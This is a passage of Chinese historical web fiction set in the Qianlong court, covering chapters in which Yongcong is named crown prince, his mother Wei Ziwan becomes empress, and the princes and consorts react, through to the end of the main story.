不久后,皇帝于朝廷上宣告要册立皇贵妃之子永琮为皇太子。 众臣哗然,连本着要当甩手掌柜的永琮也噔时僵住了,皇太子之位——没有哪个皇子不想的,即便他看起来毫无野心。 可对这从天而降的储君之位,永琮却谨慎至极,他不确定皇阿玛是不是存着试探他的心思,便第一时间没有同意,但皇帝不管他同不同意,直接定下这事,无回旋之地。 其他臣子一看啊,皇上态度坚决,七皇子也确实是当今位份最高的妃子所出之子,这子凭母贵,说来也有些道理。 毕竟这册封储君,不是看身份地位,就是看年岁序齿,皇上不册封皇长子为皇太子,而是看中了皇七子,皇七子生母身份最贵重,在长子之下,便是看重母凭子贵册封七皇子也有道理可言。 至于皇贵妃是汉军旗出身,也没多少人在意这个了。 将皇帝现在的皇子都拉出来一列,大皇子永璜是满洲正黄旗包衣旗妃子哲妃所出,三皇子永璋和六皇子永瑢是原民籍现汉军正白旗包衣妃子纯妃所出。 四皇子永珹和十 一皇子永瑆是汉军正黄旗包衣妃子嘉贵妃所出,五皇子永琪是蒙古正黄旗包衣妃子愉嫔所出,七皇子永琮的生母是原汉军正黄旗包衣现满洲正黄旗妃子皇贵妃。 八皇子永璇是原汉军镶黄旗包衣现满洲镶黄旗妃子慧妃所出,九皇子永璐是民籍汉女柏氏所出,甚至尚未封妃,在众多皇子中,身份算是最低的,只是有幸被皇贵妃抚养,才得了脸面。 十二皇子永璂是废后所出,既然富察氏已被废,那十二皇子便自然而然脱离了储君之位。 这些有能力一争的皇子阿哥们哪一个跟包衣撇得开关系,有的还不如包衣妃子,既然差不多都是包衣妃子所出,说是凭母族身份或是血脉高低来评判皇子阿哥哪个有资格继承皇位,那就没必要了。 这些皇子放在康熙朝,那是连争夺皇位的资格都没有的。 但在今朝,也算是时也命也了。 既然没法凭借母族来挑选皇子阿哥为继承人,便是只看生母位份高低,也是一条可行的办法。 七皇子确确实实是皇贵妃所出,皇上想要册封他为皇太子,旁人说不得半点错。 虽说也有推荐皇长子的臣子,还有看重龙凤胎出身的皇八子的臣子,但这些臣子都因为利益站队,皇帝一声喝令,便哑了声音。 此后皇帝册封皇太子之事已板上钉钉。 下朝后,兄弟们围着未来的储君啧啧称奇。 倒也不是没有在意皇位的,但当时能跟几个兄弟一起闹,就决定将这些事抛之脑后了。 如今老七要被皇阿玛册封皇太子之位,也算是件喜事,毕竟皇贵妃之子的身份确实能服众,也不会让其他兄弟不满,更不会让后妃心生不该有的念想。 若是皇太子生母身份不高不低,便是让其他跟皇太子生母一样身份的宫妃,起了自己子嗣为何不能当上皇太子的心思,立储之事若是左右摇摆不定,不能以板上钉钉的事实服众,便是惹得江山飘摇,祸起萧墙。 所以,老七是最适合的皇子。 永琮笑道,“你们就别打趣爷了,回去再说吧。” 他看了眼要过来的臣子们,推了把自己兄弟,便随着兄弟们离开大殿了。 便是刚回到阿哥所,皇上过继十二皇子永璂给圣祖爷第二十一子多罗慎郡王允禧为嗣孙的消息便传开了。 皇子们沉默不语,良久永琮才道:“这样也好,废后之事本就没法让我们做成兄弟了,以后成了堂兄弟,再见面时,也好成全过往的兄弟情。” 皇子们对他这话没有异议,废后一直护着嫡子,他们是没怎么跟十二弟说过话的,没有接触就无从谈起兄弟情,何况废后害过那么多人,这其中被折磨到的皇子,没有因为废后怨恨上十二弟,就算是心胸宽广了。 兄弟们面面相觑,还是永琮开口道:“都坐下吧,别跟我生分,不管我是不是皇太子,我从前就没对你们冷过脸,以后更不会。” 永珹松了口气,“就等你这句话呢。” 由他带头,兄弟们纷纷落座,永璋稀奇道:“先前废后说那事,我还半信半疑呢,结果皇阿玛果真看重皇额娘。” 永瑆拿了块点心塞在嘴里含糊道:“可我怎么听说皇阿玛和皇额娘闹不和了。” 永珹拍了下他脑袋,这种话也能说出来,就不怕被皇阿玛知道,永瑆还是年纪小,不知道长辈的事就这样的,床头打架床尾和,皇阿玛能封皇额娘为皇贵妃,那肯定不像外人想的那样闹翻脸了啊。 “四哥,你打我做什么?!”永瑆嚷嚷,他最近老烦了,哪个当哥的都打过他了,当弟弟的就得要受这些磨难吗?他不服! 永珹看他这傻样,忍不住伸手揉了揉他脑袋,也是怕自己那一巴掌将本来就蠢的弟弟拍得更蠢了。 永瑆发出哼哼唧唧的声音,以为四哥难得当回好哥哥了,殊不知他的好哥哥视线落在他的好七哥身上,贼兮兮道:“永琮,你说说看是咋样啊?” 永琮没好气瞪他,“还能怎么样,我也弄不清楚他们夫妻俩在想什么。” 亏他还担心好久,现在皇太子之位落下来,他就更茫然了,如果这不是夫妻俩闹不和,他还真想不出别的说法了。 永璜作为众皇子中最早成亲并且是唯一一个夫妻感情好的,他的说法惹人注目,“有没有一种可能是,不和归不和,这也不影响他们的感情啊,爷跟福晋闹不和时,爷也不会让福晋受了委屈。” 所以,皇阿玛选择让七弟成为皇太子,是意料之中的事。 他和福晋的嫡子和跟侧福晋生的庶子摆在跟前,他不会脑子进水让庶子继承他的爵位,即便侧福晋伺候他再得当,也没有庶子越过他和福晋孩子的道理。 闹不和,那只是给外人看的说法,至于真实模样是咋样的,还不是只有夫妻俩最清楚。 第127章 第127章更新来了 永璜说着说着,感觉兄弟们看自己的眼神变复杂了,噔时不爽回瞪过去,“怎么看爷的,一个个好似爷做了什么大事似的。” 永璋摸了摸头发,“大哥,你说的话,我们也没法理解。” 他跟他福晋的感情因为嫡长子被娴贵妃抱走一事,至今没得安好,福晋天天以泪洗面,他回去后不知如何接近福晋,心里也觉得这夫妻情越发难熬了,若是皇阿玛当初没乱点鸳鸯谱就好了。 他不必娶那拉氏,那拉氏就不会因为跟娴贵妃过近的血脉关系被娴贵妃抱养孩子,以那拉氏温和的性子,想必婚后跟夫君肯定琴瑟和鸣,孩子必然孝顺。 不用遇上他这样优柔寡断的丈夫,这辈子活得没滋没味。 他与福晋已经回不到从前了,哪怕是从前,他们夫妻俩也只有相敬如宾,从没有恩爱过。 大哥说的话,唯一能让他产生这种庇护感觉的,就只有西林觉罗氏。 哪怕知道西林觉罗氏的手段有多恶心,在事情过去以后,他发现自己还是没法真正恨上西林觉罗氏,她敢拿命来赌,足以证明她是想让他一辈子记住她的。 若非皇阿玛当年胡乱指婚,他这日子也不会过得这样不上不下的难受。 他知道她是真切对他动过心的,所以才对她揭露后的虚伪面孔无法释怀,可若非当年的感情太真,她也不会想着动手,他谁也恨不了。 他甚至觉得自己恶心透顶,明摆着是西林觉罗氏害了那么多人,也害了他们尚未出生的孩子,但到头来,他居然没法彻底恨上她,他甚至还总是时不时想起她的音容笑貌。 永璋掩下眼底的恨意,这让他如何对皇阿玛心里没有一丝怨恨,皇阿玛明知道当年他和西林觉罗氏是情投意合的,他这辈子恨的不止是废后,还有皇上。 可是他这辈子都不能将恨意都说出来。 因为那些因西林觉罗氏和废后被害的人无辜,也因为皇阿玛是大权在握之人,所以他不能恨,他谁也不能恨。 永璋笑着,抬头又是跟其他兄弟一致的不解。 永璜没看出他的不对劲,还对他颇为恨铁不成钢,“其他兄弟也就罢了,你居然不懂,亏你还是成亲的,白费你成亲多年了。” 就是其他人不懂,三弟也不能不懂啊。 永璜摇了摇头,哪有真夫妻还恨上彼此的道理。 不过永璜突然想起了三弟情况不同,三弟好似跟西林觉罗氏的感情更像一对夫妻,和嫡福晋就是公事公办的感觉,这其中还包含了子嗣被强行抱养到娴贵妃那里的怨恨,噔时,他也不好说出太难听的话了。 但围上来的一群兄弟还是没完没了的烦,都用一种稀奇的目光看着他。 永 珹就被挤到兄弟们身后,于感情一事上,他受了挺大伤害,因此不大乐意谈起这些事,看到大哥越说越认真,他就不免想到自己尚未过门的未婚妻,以及皇阿玛又下旨让他迎娶的嫡福晋伊尔根觉罗氏。 他轻轻叹了一声,总觉得他们这些兄弟在感情上没几个顺遂如意的。 因此在皇阿玛和皇额娘闹翻的那段日子,他还挺喜闻乐见的,他看皇额娘安然无恙,不为这事伤心难过,便得意洋洋地想着皇阿玛最好生更大怒火,越是生气,就代表皇阿玛被刺激得多过分,他就喜欢看皇阿玛不开心的样子。 可惜,看七弟被皇阿玛钦定皇太子之位的样子,皇阿玛当真是下了大功夫,要是再将皇额娘册封为皇后,皇额娘也谈不上跟皇阿玛老死不相往来了,毕竟七弟还摆在两人面前。 想到这,永珹难耐地“啧”了一声,不服老天爷,没有半点公平可言,皇阿玛做了这么多乱点鸳鸯谱的事,但到头来,他自己却过得顺心顺意,真是不快极了。 最好皇阿玛再难受些,他这心里也释怀多了。 不过,那段日子众多兄弟集合起来想要跟皇阿玛反着来,他也是没有想到这么多人都隐约对皇阿玛不满。 他甚至有种错觉,就是皇阿玛始终不放权的事情好似伤害到很多兄弟似的,所以大家才有一种拼了命都要报复的感觉。 明明皇阿玛也没有他们说的那样不放权,他们甚至早早被皇阿玛册封了爵位。 永珹眼里闪过一抹迷茫,用手摁了摁自己的心,体会到那股仍围绕在心里的恨意,轻轻叹了口气,或许上辈子,皇阿玛真跟他们这些兄弟不死不休了。 所以这辈子难以释怀,这无由来的恨意,以及皇阿玛都还没来得及做很多事情,他们就已经在心里判下皇阿玛根本不重视他们这些子嗣的判决了。 永珹闭了闭眼,又退了几步,远离了这些兄弟,捏着眉心,脸色颇为阴沉。 或许皇额娘跟皇阿玛突然闹翻了脸,也是跟他们一样心里起了这般莫名的情绪吧。 永璜被永琪永瑢永琮永璇永璐永瑆六个兄弟围在一起,简直要呼吸不上来了,便忍不住嘀咕道:“其他兄弟也就罢了,永琪,爷记得你不是个喜欢凑热闹的吧。” 他眯着眼,几乎要死死盯着永琪了。 至于其他兄弟,永瑢也不是个喜欢凑热闹的,但是他最近好像被同母兄弟永璋带歪了,性子也偏向喜欢看热闹去了,永瑢被带歪就带歪吧,一个懒洋洋的家伙,做出什么事都有可能。 这家伙还念着开奶茶店,想一出是一出,也不知道他是怎么想的。 将对六弟的腹诽压下去,永璜专心等着自己一贯温文尔雅、文武双全的五弟回答他问题。 “这个嘛。”永琪有些害羞地摸了摸自己的脸,认认真真回道:“可是大哥的热闹真的很有意思。” 永璜的脸色僵住了,目瞪口呆,感觉这都不是他的五弟了,五弟已经不知道被哪个妖魔鬼怪夺舍了,他忍不住双手掐住五弟肩膀,“说,你是谁,爷告诉你,这儿可是紫禁城,有天子在,你胆敢来爷五弟身上,爷非得让你见识一下爷的能耐!” 永琪无语,面无表情道:“大哥,你大爷的。” 永璜又僵住了,“不是说不许再说‘你大爷的’吗?” 永琪哼了一声,“爷还就说,你能拿爷怎么办?” 永璜张了张嘴巴,又看了看其他已经在捂嘴笑的兄弟了,不是,你们都不觉得奇怪吗,五弟居然跟着我们变成这样了,这难道就是近朱者赤近墨者黑吗?太可怕了。 永璜打了个哆嗦,猛地将五弟推开,对上其他兄弟的面孔,顿时觉得他们的包围都不是事了。 永琪继续无语,只好走到四哥身边,“四哥,你在想什么?” 永珹忧郁地看了他一眼,“你不懂。” 说罢,就离开他了。 永琪平生头一次想将这些兄弟掐死!除了他几个好弟弟除外,这些兄弟简直一个比一个……永琪没怎么骂过人,脑海里努力搜寻着合适的词,终于想起九弟曾经说过的一句话……一个比一个丧心病狂! 对,没错,就是丧心病狂! 永瑢眼里闪着奇异的光,“大哥,你说你们夫妻床头打架床尾和,你们还真在床头打起来了啊。” 永璜面无表情,看了眼永瑢,又看了眼其他兄弟,发现其他兄弟眼里都冒着同样的好奇,噔时想挨个都打一巴掌,这都是什么话,问也不问大哥好听的。 像是大哥和大嫂夫妻恩爱多久了,没点眼力劲。 他压根不带卸力的,一巴掌朝六弟拍过去,永瑢平时懒归懒,但他是真的在关键时候挺有眼力劲的,大哥巴掌刚过来时,他就立马蹲下来躲开了,因此被他一巴掌闪过去的是永琮。 永琮感觉自己头晕晕的,在众多兄弟的叫唤中,仰面朝天,躺下了。 “七哥、七哥你没事吧?我立马给你找太医。”这是永璐。 “七哥,我立马给你报仇,你看我怎么教训永璜这个乖孙子的吧。”这是永瑆。 “七哥,你晕的好惨啊。”这是永璇。 永瑢见七弟倒下了,顿时觉得自己本就不多的良心突然抽痛了一下,他深深地痛惜道:“七弟,你放心,我这就给大哥一巴掌!” “都别吵了,你们吵得我脑袋疼!”永琮本来还没事的,只是想装晕逃过大哥的下一巴掌。 但是他发现他装晕后,这些兄弟没完没了的叫唤,他本来可以没事的,但是被叫得想死。 闭上眼睛随便一巴掌拍过去后,也不知道拍中了谁,终于安静了。 永瑢“哦呵”一声,悄无声息退得更远了。 永琮感觉太过安静了,睁眼一看,永璐正含着泪捂着脸,而永璇和永瑆兄弟俩正在挤眉弄眼。 他噔时觉得头都大了,“永璐,你哭什么,爷什么时候用力了!” 永璐含泪道:“七哥,你伤害了我。” 永琮:平生没有这么无语过。 “行了,别哭了,没有修炼到半点功夫,下回想学哭,还得看和恪怎么哭的。” “是吗?”永璐的眼泪说收回就收回。 跟七哥顺其自然走到一块,两兄弟离开这里前,还对话着。 “七哥,你真觉得我哭的不怎么样?我这还好吧,应该能诈得了人吧。” “其他人还不好说,但这些兄弟基本没问题。” “那就好,我还以为我一个人都骗不着了,嘿嘿。” 最后一句“嘿嘿”直接嘲讽拉满,本来想安慰九弟/九哥的永璇和永瑆两兄弟呆住了。 “九弟也太可恶了吧。”永璇简直不敢置信自己刚才被九弟给耍了,还真以为他那么伤心,还想着给他说些好听话哄他开心的,结果九弟就这么轻而易举背叛他们这些兄弟了。 还说什么“以为一个人都骗不着了”,不是,他们这些兄弟就是被他骗的吗?他们可是经历过无数折磨过来的兄弟情! 说实话,要不是永璐走得快,永璇就得学永璜一巴掌拍过去了。 弟弟不干人事,就得哥哥亲自来教训,当然,教训出来个什么模样,就得看哥哥的功力怎么样了。 而永瑆则是大受刺激,不敢想象,“七哥居然说出那种话,他居然说骗我们这些兄弟不成问题,难道我在七哥心目中就是一傻子?” 听到这话,永璇忍不住瞥了眼十一弟,嗯,平时是够傻的,就连现在,也看起来傻乎乎的,至今都认不清楚自己在众多兄弟之中的小傻子形象。 可叹可惜啊。 他忍不住摇了下头,顿时觉得骄傲多了。 至少七哥说的骗他们这些兄弟不成问题,这兄弟一定不包括他,只是以永瑆为代表的其他兄弟罢了。 “你们两个——”一道阴森森的声音从他们背后响起。 两兄弟打了个激灵,脑袋缓缓往后面看去,“大、大哥,您怎么了?” 永璜掰着手指关节,发出咔嚓声,皮笑肉不笑道:“你们两个,刚才是谁说想‘教训永璜这个乖孙子的吧’?好样的,爷还不知道爷在你们心目中成了乖孙子啊,爷至今为止还没有过孙子呢,你们说你们谁想当爷乖孙子?” 永璜被气笑了,刚才慌乱之中听到这话时,他还有些不敢置信,但是反应过来后,他就明白他不可能听错,因为这种话真的是能从他兄弟口中说出来的。 “是八哥!” “是永瑆!” 兄弟俩对视一眼,立马将锅推到彼此身上了。 永璜阴恻恻的,是哪个都不想放过,“是吗?爷看你们是皮太痒了!” 顿时,一声声嚎叫从屋里传出,令人不忍直视。 第128章 第128章更新来了 册封皇太子的事比所有人想象得还要快,似乎有某些事情在催促着帝王,好似帝王不早早册立太子,就有些事情注定无法挽留了。 而事实也确实如此,对于皇帝而言,没有什么比皇位更重要,可若是舍了他心爱之人,这种痛不欲生的滋味,也是他一辈子不想再次体验的。 因此,等永琮摇身一变皇太子后,皇帝便在朝廷上提起母凭子贵一事了。 永琮是皇太子,那么作为皇太子生母的皇贵妃,理所应当为皇后。 这话顿时在朝廷上引起极大动荡。 大清建国以来,就没有让包衣奴才出身的妃子生前封为皇后的说法。 但皇帝只用了一句话就让他们哑口无言,皇帝道,在先帝之前,大清也从没出现过包衣奴才出身的宫妃被追封为皇后的事。 有一就有二,便是破了这规矩又如何。 众臣震惊,并非是因为皇帝提起将皇贵妃册封为皇后一事,而是感觉皇帝这是连自己祖宗的脸面都不要了,明摆着说自己亲玛嬷是包衣奴才出身,这不等于打先帝脸面吗。 况且想到先帝说过自己母族乌雅氏一族是名门出身这回事—— 众臣越想越觉得脸疼,不是为自己脸疼,而是为先帝以及皇帝。 也因此,臣子们难得齐齐默了声。 有心人想阻止皇帝册封皇贵妃为皇后,都不好意思拿包衣奴才出身这点作为攻击皇贵妃的原因了,毕竟皇帝能说自己祖宗,他们没胆子说爱新觉罗氏的祖宗,这不是嫌自己命大吗? 皇帝又不是真正意义上的心胸宽广的皇帝。 于是臣子们纷纷从别的角度出发,像是皇贵妃不是万岁爷潜邸旧人,资历不如其他娘娘深重,又或是皇贵妃并非名门出身……但是说来说去,他们反倒被自己的理由气笑了。 资历这种事放在大清帝王的后宫无疑是无稽之谈。 有哪个名门出身的贵女进宫当皇后还要讲资历的,直接以家世就将其他人压下去了,就算皇贵妃不是名门贵女出身,但还是那个道理,既然都被皇帝下定决心封皇后了,而大清每一个被帝王册封的皇后,压根不讲资历的,身份够了,那就上位,简单极了,连夫妻感情都无需培养。 或者说,他们那资历来压皇贵妃,本就是在后位之事上不跟皇贵妃讲道理了,因为资历本就不是皇后该比拼的东西,尤其是在大清后宫。 至于并非名门出身——有一点还真得说皇贵妃走运,在进宫选秀前便抬旗了,便是于历史记载上,皇贵妃进宫后都不算是包衣出身了。 反正历史总要编造的,只要证明皇贵妃是大选进宫的,大选之前是什么状态,是不是包衣出身,或者是出身小族小姓的汉军旗贵女,在进宫后,因为地位水涨船高,被抬旗抬进满洲旗,改了姓氏为魏佳氏—— 只要春秋笔法用得好,后人或许会以为皇贵妃是汉军旗出身的贵女,在进了后宫后,被帝王看重,全家抬旗,这才有资格够着后位,这话里话外都跟包衣无关,毕竟皇贵妃在进宫之时就已经不是包衣奴才的出身了。 虽说这些话只能骗骗自己,就算能一时骗着后人,但也不会有人一直被这种事情骗住。 可这至少能给天下人一个交代,将皇贵妃的出身拿出来看,好似也没有那般难看了。 只看选秀时的身份,皇贵妃是汉军旗出身,那就确凿无疑了。 康熙帝的第三任皇后便是由汉军旗抬进满洲旗再封做皇后的。 尽管跟皇帝的皇贵妃身份不能一视同仁,可既然有过汉军旗抬旗进满洲旗的皇后,那皇贵妃封做皇后,好似也没有那么难以让人接受了。 更主要的是,皇帝态度十分坚决,没人会真正违抗帝心,再者,皇帝都已经册封皇太子了,而皇太子生母是皇贵妃,他们犯不着彻底得罪下一任帝王。 在找不到更多借口,以及得为家族考虑的前提下,有些保皇派认定了太子生母是皇后才能更好地巩固太子地位,也因此,不过三日,朝廷上便认可了皇帝册封皇贵妃为皇后的做法。 …… 魏紫菀被封做皇后之前,后宫来了不少恭维的妃子,连以往避着她的纯妃也过来了,忽而疯癫忽而冷静的娴贵妃也曾过来一趟。 魏紫菀都见过这些人。 纯妃嘴上说着好听话,即便过往她们没多少接触,纯妃也能因永瑢跟她接触过,以自己小儿子为话题展开无数攀扯关系的话语。 魏紫菀听着,也没听进去。 娴贵妃就简单多了,只过来看她一眼,像是看出什么似的,嘴角咧出一抹笑,“你跟万岁爷也回不到从前了?” 她感觉敏锐极了,“不对,你跟本宫情况不一样,本宫是跟万岁爷就没有过从前,而你跟万岁爷有过好多算得上是美好的过往,本宫拿你跟我比作甚。” 她话语颠三倒四,但中心意思总归为一个,“别信皇帝,这后宫的女人都不要信他。” 她笑着说出大逆不道的话,“倘若帝王长命百岁,不管你们母子俩被皇帝多看重,都只有被皇帝忌惮的下场。” 魏紫菀满脸笑意,“娴贵妃,你大抵是糊涂了,万岁爷可是万岁万岁万万岁的天子。” 娴贵妃对她这话有些诧异,但立马反应过来了。 眼里闪着奇异的光,嘴里也喃喃不止,“怪不得你会是皇后了,也怪不得你儿子会当上皇太子。” 居然从不被帝王打动过。 连她这个起初看似无欲无求的,最终也败在帝王的表面温柔下。 她想畅快地开怀大笑,这多美好啊。 被万岁爷放在心上的皇贵妃,居然不将万岁爷放在心上。 皇贵妃始终没有反对过她说的被帝王忌惮,只是说帝王注定万岁,这不是荒诞之言吗,这世间的天子都盼着万岁,但没有一个活过百岁! 她平静下来,“本宫会好好活着,看着你何时赢到最后。” “娴贵妃,你大抵是脑子糊涂了。”魏紫菀笑着,始终没有应和她的说法。 但娴贵妃心里却感到了一种无法形容的高兴,她报复了废后,但是将她变成今天这个样子的帝王却不能报复,可若是看到皇贵妃活到最后,对帝王彻底无情,她想到那一幕就高兴。 原来皇帝也会被一个女子戏耍,真是妙极了。 “娘娘,是妾身糊涂了。”娴贵妃微笑着行礼,“过些时候,妾身就会将永璋的大阿哥还给他们夫妻俩,娘娘,您不会让妾身失望的吧。” 魏紫菀无动于衷,“你在本宫身上寄托的厚望,与本宫何关。” 娴贵妃笑得更开心了,“您这样就好,妾身喜欢看您这样。” 只有这样对任何人,任何情都不放在心上,才能对帝王狠心到最后啊,她突然发现,皇贵妃好似也有那么一丝讨人喜欢的地方了。 回想起从前被皇贵妃戏耍的过往,还有自己那一幕幕不堪回首的过去,娴贵妃早就不在意了,因为没有过去,也就 没有现在的她。 她甚至怀念起过去那个愚蠢至极,但是却能随心所欲的自己。 或者是从前那个不曾被欲望牵动,真正活得清心寡欲的自己。 从前的她,想的还是太简单了,进了宫怎么可能不被欲望牵动,这就是个永不见光的囚笼,皇帝为非作歹。 魏紫菀想了下,说起一事,“你去咸福宫走一趟吧,省得本宫再处置此事。” 娴贵妃了然,这是说起慧妃之事吧。 听说慧妃在皇上要册封七皇子为皇太子时,就已经半疯不疯了,在册封之后,以及现在要册封皇贵妃为皇后,慧妃受不住这个刺激,太医院已经来来回回换了好几趟值守的太医了。 “你是要让妾身劝她?” “本宫不管你是劝她还是做别的,让她安静下来,别吵着本宫。” 魏紫菀的眸子全是冷静,“娴贵妃,她到底是万岁爷潜邸侧妃,你也是潜邸侧妃,这宽慰人的话,最好是从你嘴里说出来,你说是不是?” 娴贵妃定定看着她,显然是没想到自己疯病刚好,皇贵妃就理直气壮命令她去劝说另一个疯子。 “娘娘,妾身也能不答应的吧。” “随你。”魏紫菀很是直白,没有娴贵妃,也还有纯妃、嘉贵妃和愉妃,只不过她感觉还是婉妃说的话最有用,因为这人总是在不经意间说出让人破大防的话。 只不过她觉得娴贵妃能起到最大的效果,毕竟过去压着自己身份的潜邸旧人,在登基后就被她反压过去,但到现在,情况再次逆转,慧妃看到这一幕,应该会受到最大的刺激。 她不想特地为慧妃设局,但是顺手的事,能让慧妃多难受一点,何乐不为。 “娘娘,您可真是记仇啊。” 她叹道。 但转身离去时也丢下一句话,“正好,妾身也是个记仇的人。” 魏紫菀没理会她的话,不多一会儿,她身旁就一左一右围上了婉妃和颖嫔两人。 婉妃疑惑道:“娘娘,您莫非接受了娴贵妃的投诚?” “她没向本宫说过这种话。”魏紫菀温声道,“她顶多是想借本宫达成她的目的,但她的目的与本宫何关,终究只是她的梦,她也不是没有过梦醒的时候。” 婉妃若有所思,“正好妾身也不愿您信了她,她终究是疯过,谁知道她会做出什么事。” 让娘娘身边留下一个心思不定之人,就是对娘娘最大的威胁。 颖嫔笑道:“信了她又何妨,有用就行,咱们注意点就好。” 第129章 第129章更新来了 咸福宫,娴贵妃已经许久未见慧妃了,难免对慧妃现在的状态感兴趣。 或者说感兴趣也不全对,于她而言,没有什么比看慧妃热闹更重要了。 她知道慧妃打从潜邸起便自傲主子爷对她的宠爱,这般宠爱,甚至是嫡福晋都觉得碍眼的,只是嫡福晋那时候确确实实是个贤惠的,也确确实实容得了慧妃。 一切变化还得从慧妃怀上了龙凤胎开始。 在慧妃的龙凤胎生下来后,慧妃得意过风光过,废后估计从那时候起,就开始真正忌惮起后宫妃子了吧。 万岁爷是个大局为重的,因此哪怕慧妃生下了龙凤胎,万岁爷也不曾太过抬举慧妃的子嗣,只为了嫡子的降世,在万岁爷心心念念的嫡子继承人出生之前,万岁爷是不会格外看重任何庶出皇子的。 当然,也不会过于轻视慧妃的龙凤胎,毕竟龙凤胎是大清吉兆。 她还记得从前,皇贵妃的七皇子甚至比不过慧妃的八皇子。 但是如今,七皇子是皇太子了,八皇子还是从前的模样,当然,对皇太子的看重尊敬更甚从前,毕竟抛开慧妃对皇贵妃的恨意来看,兄弟俩感情还是不错的。 可见皇贵妃确实会养孩子,那些皇子阿哥基本上对七皇子为皇太子一事毫无异议,这放在九龙夺嫡时,多难得啊。 娴贵妃突然对皇贵妃起初的模样感兴趣了,这人一进宫就得宠,这一路走来,不过短短十年,甚至还不够十年,后宫就发生天翻地覆的变化。 而且,有一点很重要,自始至终的清醒。 没有被帝王所谓的真心蒙骗,或者说,皇贵妃也是极其难得的冷心冷情的女子吧。 这没什么不好的,总比被伤到后再抽身好。 她真心觉得如果她们潜邸旧人没有一个能走到最后,让皇贵妃走到她们之前,没什么不好的,只要能有一个自始至终没对帝王动过心的女人走到最后,她就觉得自己一开始的想法没错。 她只是在中途迷了心,她的路没走错过。 走进院子后,短短这段路,她才惊觉她居然想了这么多。 娴贵妃发现自己对皇帝的不喜,跟对废后的恨意,可能不相上下吧。 一个将她当小宠戏耍,一个要走了她孩子的命。 至于她即将要面对的慧妃—— 她脸色沉沉,走进了正殿,“不管何时,你还是这般听不进人话啊,难怪输得一塌糊涂。” 慧妃双目赤红,“你也来看本宫热闹?别忘了,在本宫还是贵妃时,你什么都不是。” 娴贵妃笑道:“在本宫还是后院第一侧妃时,你不过还是个格格罢了,你风光过一会儿,难道就忘了自己起初的身份。” “那皇贵妃——魏佳氏,你也忘了她起初的身份了?” “没忘,她起初是包衣,不过,那是她进宫之前的事了,你也别忘了你的身份,你不也是包衣抬旗。” 娴贵妃恶劣笑道:“至少现在,你狼狈了,她风光了,本宫乐意看她得意,也欢喜看到你落魄。” 慧妃气笑了,“你一个疯了的还敢过来找我,不继续为你的孩子祈福?” 娴贵妃笑意顿消,“我真恨不得让你随了废后,你儿子跟你离心,你心心念念的后位也没落在你手上,我该是嘲笑你,还是怜悯你呢。” 孩子没了这事,她疯也疯过了,她现在仍是不能清醒,可是一想到皇帝终于定下储君了,而未来的后宫之主是一个始终都保持清醒的人,她突然就心安了。 她压低声音凑到她耳边,“你如果不想你儿女跟你彻底离心——本宫记得八皇子跟皇太子兄弟感情极好,四公主养在谦太妃身边,你该清楚慈宁宫的娘娘都对皇贵妃极好,你不想走投无路,最好现在就给本宫变正常些。” 慧妃怔怔看着她。 “在封后之前,你别给本宫闹出任何事来,至少你比起本宫,已经幸运太多了,你有一双儿女,相比之下,贵妃之位、皇贵妃之位,那又算什么。” 到底是曾经的潜邸旧人,即便彼此恨过怨过,甚至恨不得对方去死,有无数恶意堆砌着,可是在紧要关头,她不介意让慧妃清醒清醒。 她清楚慧妃是舍不得过往的一切的,哪怕现实并不如她想象的那样美好。 当然,她没那么好心劝慧妃,好心这种事已经不存在于她们这些从潜邸走来的老熟人了,彼此什么本性,都将近三十年了,如果还不能弄清楚,也不必活到现在了。 她绝不允许皇贵妃封后之事受到一点影响—— 只要能封后了,有些事便板上钉钉了,即便帝后以后闹不和,皇帝不能再来一次废后了,到时,皇帝必然得将七皇子送上皇位。 慧妃反应过来后,脸色淡淡,“你一个疯子还让我别闹事,可笑极了。” 但那拉氏的话,她是听进去了。 事情已定,从前多风光,现在就有多屈辱。 可是她还有一双儿女,她……确实不能闹。 她只是无法接受她寄托厚望的龙凤胎,没有被任何人放在眼里。 她从前的幻想,成了彻头彻尾的笑话。 …… 封后之事极其顺利。 魏紫菀少见的跟皇帝同处一室。 不过她并没有跟皇帝亲近的意思,后位定下来了,储君之位定下来了 ,也不代表原先的一切就当没发生过了。 后位并非她所愿,但是儿子成为皇太子了,她迫于现状,也必须要坐上后位。 这不是最好的结果,但却是她目前为止能走的出路中最好的一条。 她无比清醒意识到,这场仗,还有得打,就比如现在,距离皇帝驾崩,还有数十年。 她就没信过皇帝的话。 康熙帝对他一手养大的皇太子百般重视,起初,谁也越不过这位皇太子,但是后来,康熙帝年老后,对皇太子做出二立二废之事的也是他。 帝王一诺,九鼎之重。 皇帝当时说的话必然是出自真心的,可在这之后,她要是沉浸在帝王给予的温情中,就无可救药了。 她对帝王浅笑,握住帝王的手,“万岁爷,夜深了,该安寝了。” 她刚躺下不久,便入睡了。 皇帝看了她睡颜许久,知道她忙活一天,累了,便握着她的手,合上眼睛了。 …… 在成为皇后后,魏紫菀还是以储秀宫为皇后居所。 作为皇后,自是有管着后宫妃子的资格,魏紫菀将一件已经没人在意的事情摆在明面上,就是永璐的生母柏氏。 她问永璐,可要见一面他的生母。 【正文完】 第130章 第130章正文完结 永璐道:“皇额娘,儿子见过她了。” 他想了想,“没什么好说的,她于儿子有生恩,但儿子心里只有您一个额娘,儿子没法将她当作母亲。” “本宫知道你心思了。”魏紫菀心道,给柏氏一个位份,将来何去何从就归新帝管了。 “皇额娘,您于儿子的养恩,儿子没齿难忘。” “本宫何须你记得这份恩情,本宫当初也没盼着你成事,你只要平平安安长大就好。” “儿子知道。”永璐叹息般道,“儿子此生不会再遇到像您这般,永远对儿女无所求,但却能为儿女倾尽一切的额娘了,儿子只愿您一辈子都安好。” 即便折了他寿命去补上皇额娘寿命,他心甘情愿。 魏紫菀笑了,穿越这一趟,尽管心里有过怨恨,也觉得胆颤心惊,更觉得命悬一线,可是,她命中所缺的,命运终究以另一种方式偿还她了。 她有友人相伴,有儿女孝顺,有下属忠诚,有长辈看重,有娘家惦记,这一生,她不遗憾了。 皇后之位从来都是其次。 原身的遭遇历历在目,她怎能真正放心帝王。 她知道她现在得到的一切并非帝王对她看重,只是皇帝舍不下过去十年的一切,若皇帝本身是个很好的人,原身也不会落得那样的下场。 可帝王无情啊。 …… 储秀宫,宫妃们再一次过来给皇后请安。 慧妃神色极淡,“妾身给皇后娘娘请安,娘娘万福金安。” “起来吧。”魏紫菀虽说心里遗憾没有见到慧妃更狼狈的一面,不过慧妃犯不着让她上心。 等人来齐了后,魏紫菀笑道:“后宫也该迎来大封之日了。” 皇后话音刚落,其他宫妃都变了脸色。 